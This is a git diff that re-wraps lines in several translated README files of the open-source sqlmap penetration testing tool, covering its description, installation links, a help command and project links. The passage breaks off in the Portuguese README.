[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur handal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. +sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan +eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi +canggih, fitur-fitur handal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file +system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. Tangkapan Layar ---- ![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. +Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang +mendemonstrasikan beberapa fitur dalam wiki. Instalasi ---- -Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). +Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau +zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). -Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap): +Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ +repositori [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun. +sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada +platform apapun. Penggunaan ---- @@ -34,13 +41,15 @@ Untuk mendapatkan daftar opsi lanjut gunakan: python sqlmap.py -hh Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601). -Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut +dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Tautan ---- * Situs: https://sqlmap.org -* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md index 1ac62cf56..00e8b91a3 100644 --- a/doc/translations/README-it-IT.md +++ b/doc/translations/README-it-IT.md @@ -2,25 +2,32 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. +sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo +di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un +potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester +ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al +file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. Screenshot ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Nella wiki puoi visitare [l'elenco di screenshot](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) che mostrano il funzionamento di alcune delle funzionalità del programma. +Nella wiki puoi visitare [l'elenco di screenshot](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) che mostrano +il funzionamento di alcune delle funzionalità del programma. Installazione ---- -Puoi scaricare l'ultima tarball cliccando [qui](https://github.com/sqlmapproject/sqlmap/tarball/master) oppure l'ultima zipball cliccando [qui](https://github.com/sqlmapproject/sqlmap/zipball/master). +Puoi scaricare l'ultima tarball cliccando [qui](https://github.com/sqlmapproject/sqlmap/tarball/master) oppure l'ultima +zipball cliccando [qui](https://github.com/sqlmapproject/sqlmap/zipball/master). La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma. +sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](https://www.python.org/download/) +su ogni piattaforma. Utilizzo ---- @@ -34,13 +41,16 @@ Per una lista di tutte le opzioni e di tutti i controlli: python sqlmap.py -hh Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601). -Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (disponibile solo in inglese). +Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e +controlli, insieme ad un gran numero di esempi, siete pregati di visitare +lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (disponibile solo in inglese). Link ---- * Sito: https://sqlmap.org -* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index 739a8efc7..6b742286b 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -15,13 +15,15 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ インストール ---- -最新のtarballを [こちら](https://github.com/sqlmapproject/sqlmap/tarball/master) から、最新のzipballを [こちら](https://github.com/sqlmapproject/sqlmap/zipball/master) からダウンロードできます。 +最新のtarballを [こちら](https://github.com/sqlmapproject/sqlmap/tarball/master) +から、最新のzipballを [こちら](https://github.com/sqlmapproject/sqlmap/zipball/master) からダウンロードできます。 [Git](https://github.com/sqlmapproject/sqlmap) レポジトリをクローンして、sqlmapをダウンロードすることも可能です。: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。 +sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** +がインストールされていれば、全てのプラットフォームですぐに使用できます。 使用方法 ---- @@ -35,13 +37,15 @@ sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**, python sqlmap.py -hh 実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。 -sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用方法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) で確認することができます。 +sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用方法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) +で確認することができます。 リンク ---- * ホームページ: https://sqlmap.org -* ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * コミットのRSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom * 課題管理: https://github.com/sqlmapproject/sqlmap/issues * ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md index 83c2fc6e7..0fbacea31 100644 --- a/doc/translations/README-ka-GE.md +++ b/doc/translations/README-ka-GE.md @@ -2,25 +2,35 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის. +sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი +ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების +ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი +ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან +მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში +ბრძანებათა შესრულებისათვის. ეკრანის ანაბეჭდები ---- ![ეკრანის ანაბეჭდი](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -შეგიძლიათ ესტუმროთ [ეკრანის ანაბეჭდთა კოლექციას](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), სადაც დემონსტრირებულია ინსტრუმენტის ზოგიერთი ფუნქცია. +შეგიძლიათ ესტუმროთ [ეკრანის ანაბეჭდთა კოლექციას](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), სადაც +დემონსტრირებულია ინსტრუმენტის ზოგიერთი ფუნქცია. ინსტალაცია ---- -თქვენ შეგიძლიათ უახლესი tar-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/tarball/master) დაწკაპუნებით, ან უახლესი zip-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/zipball/master) დაწკაპუნებით. +თქვენ შეგიძლიათ უახლესი tar-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/tarball/master) +დაწკაპუნებით, ან უახლესი zip-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/zipball/master) +დაწკაპუნებით. -ასევე შეგიძლიათ (და სასურველია) sqlmap-ის ჩამოტვირთვა [Git](https://github.com/sqlmapproject/sqlmap)-საცავის (repository) კლონირებით: +ასევე შეგიძლიათ (და სასურველია) sqlmap-ის ჩამოტვირთვა [Git](https://github.com/sqlmapproject/sqlmap)-საცავის ( +repository) კლონირებით: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.6**, **2.7** და **3.x** ვერსიებთან. +sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.6**, **2.7** და **3.x** +ვერსიებთან. გამოყენება ---- @@ -33,13 +43,16 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ python sqlmap.py -hh -გამოყენების მარტივი მაგალითი შეგიძლიათ იხილოთ [აქ](https://asciinema.org/a/46601). sqlmap-ის შესაძლებლობათა მიმოხილვის, მხარდაჭერილი ფუნქციონალისა და ყველა ვარიანტის აღწერების მისაღებად გამოყენების მაგალითებთან ერთად, გირჩევთ, იხილოთ [მომხმარებლის სახელმძღვანელო](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +გამოყენების მარტივი მაგალითი შეგიძლიათ იხილოთ [აქ](https://asciinema.org/a/46601). sqlmap-ის შესაძლებლობათა მიმოხილვის, +მხარდაჭერილი ფუნქციონალისა და ყველა ვარიანტის აღწერების მისაღებად გამოყენების მაგალითებთან ერთად, გირჩევთ, +იხილოთ [მომხმარებლის სახელმძღვანელო](https://github.com/sqlmapproject/sqlmap/wiki/Usage). ბმულები ---- * საწყისი გვერდი: https://sqlmap.org -* ჩამოტვირთვა: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ან [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* ჩამოტვირთვა: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + ან [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS არხი: https://github.com/sqlmapproject/sqlmap/commits/master.atom * პრობლემებისათვის თვალყურის დევნება: https://github.com/sqlmapproject/sqlmap/issues * მომხმარებლის სახელმძღვანელო: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md index 229c112f6..312c6fe1f 100644 --- a/doc/translations/README-ko-KR.md +++ b/doc/translations/README-ko-KR.md @@ -2,7 +2,8 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다. +sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 +연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다. 스크린샷 ---- @@ -14,7 +15,8 @@ sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장 설치 ---- -[여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 클릭하여 최신 버전의 tarball 파일, 또는 [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 클릭하여 최신 zipball 파일을 다운받으실 수 있습니다. +[여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 클릭하여 최신 버전의 tarball 파일, +또는 [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 클릭하여 최신 zipball 파일을 다운받으실 수 있습니다. 가장 선호되는 방법으로, [Git](https://github.com/sqlmapproject/sqlmap) 저장소를 복제하여 sqlmap을 다운로드 할 수 있습니다: @@ -34,13 +36,15 @@ sqlmap은 [Python](https://www.python.org/download/) 버전 **2.6**, **2.7** 그 python sqlmap.py -hh [여기](https://asciinema.org/a/46601)를 통해 사용 샘플들을 확인할 수 있습니다. -sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록을 예제와 함께 보려면, [사용자 매뉴얼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)을 참고하시길 권장드립니다. +sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록을 예제와 함께 보려면, [사용자 매뉴얼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)을 참고하시길 +권장드립니다. 링크 ---- * 홈페이지: https://sqlmap.org -* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md index cea399917..c5bac0b3d 100644 --- a/doc/translations/README-nl-NL.md +++ b/doc/translations/README-nl-NL.md @@ -2,25 +2,32 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen. +sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL +injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele +niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het +overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's +op het besturingssysteem via out-of-band verbindingen. Screenshots ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Je kunt de [collectie met screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) bezoeken voor een demonstratie van sommige functies in the wiki. +Je kunt de [collectie met screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) bezoeken voor een +demonstratie van sommige functies in the wiki. Installatie ---- -Je kunt de laatste tarball installeren door [hier](https://github.com/sqlmapproject/sqlmap/tarball/master) te klikken of de laatste zipball door [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) te klikken. +Je kunt de laatste tarball installeren door [hier](https://github.com/sqlmapproject/sqlmap/tarball/master) te klikken of +de laatste zipball door [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) te klikken. Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmapproject/sqlmap) repository te clonen: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.6**, **2.7** en **3.x**. +sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.6**, **2.7** en +**3.x**. Gebruik ---- @@ -34,13 +41,16 @@ Om een lijst van alle opties en switches te krijgen gebruik: python sqlmap.py -hh Je kunt [hier](https://asciinema.org/a/46601) een proefrun vinden. -Voor een overzicht van de mogelijkheden van sqlmap, een lijst van ondersteunde functies, en een beschrijving van alle opties en switches, samen met voorbeelden, wordt u aangeraden de [gebruikershandleiding](https://github.com/sqlmapproject/sqlmap/wiki/Usage) te raadplegen. +Voor een overzicht van de mogelijkheden van sqlmap, een lijst van ondersteunde functies, en een beschrijving van alle +opties en switches, samen met voorbeelden, wordt u aangeraden +de [gebruikershandleiding](https://github.com/sqlmapproject/sqlmap/wiki/Usage) te raadplegen. Links ---- * Homepage: https://sqlmap.org -* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) of [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + of [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues * Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md index 745af21e5..d183c18ac 100644 --- a/doc/translations/README-pl-PL.md +++ b/doc/translations/README-pl-PL.md @@ -2,25 +2,32 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalających na dostęp do systemu plików o uruchamianie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. +sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i +testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele +niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy +danych, poprzez wydobywanie z nich danych, a nawet pozwalających na dostęp do systemu plików o uruchamianie poleceń w +systemie operacyjnym serwera poprzez niestandardowe połączenia. Zrzuty ekranowe ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Możesz odwiedzić [kolekcję zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrującą na wiki niektóre możliwości. +Możesz odwiedzić [kolekcję zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrującą na wiki +niektóre możliwości. Instalacja ---- -Najnowsze tarball archiwum jest dostępne po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master) lub najnowsze zipball archiwum po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master). +Najnowsze tarball archiwum jest dostępne po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master) +lub najnowsze zipball archiwum po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master). Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na dowolnej platformie systemowej. +do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na +dowolnej platformie systemowej. Sposób użycia ---- @@ -34,13 +41,15 @@ Aby uzyskać listę wszystkich funkcji i parametrów użyj polecenia: python sqlmap.py -hh Przykładowy wynik działania dostępny jest [tutaj](https://asciinema.org/a/46601). -Aby uzyskać listę wszystkich dostępnych funkcji, parametrów i opisów ich działania wraz z przykładami użycia sqlmap proponujemy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +Aby uzyskać listę wszystkich dostępnych funkcji, parametrów i opisów ich działania wraz z przykładami użycia sqlmap +proponujemy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Odnośniki ---- * Strona projektu: https://sqlmap.org -* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Raportowanie błędów: https://github.com/sqlmapproject/sqlmap/issues * Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index a658ee0c0..28ed2d33e 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -2,25 +2,32 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. +sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de +falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas +web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, +empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de +dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. Imagens ---- ![Imagem](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns dos recursos apresentados na wiki. +Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns +dos recursos apresentados na wiki. Instalação ---- -Você pode baixar o arquivo tar mais recente clicando 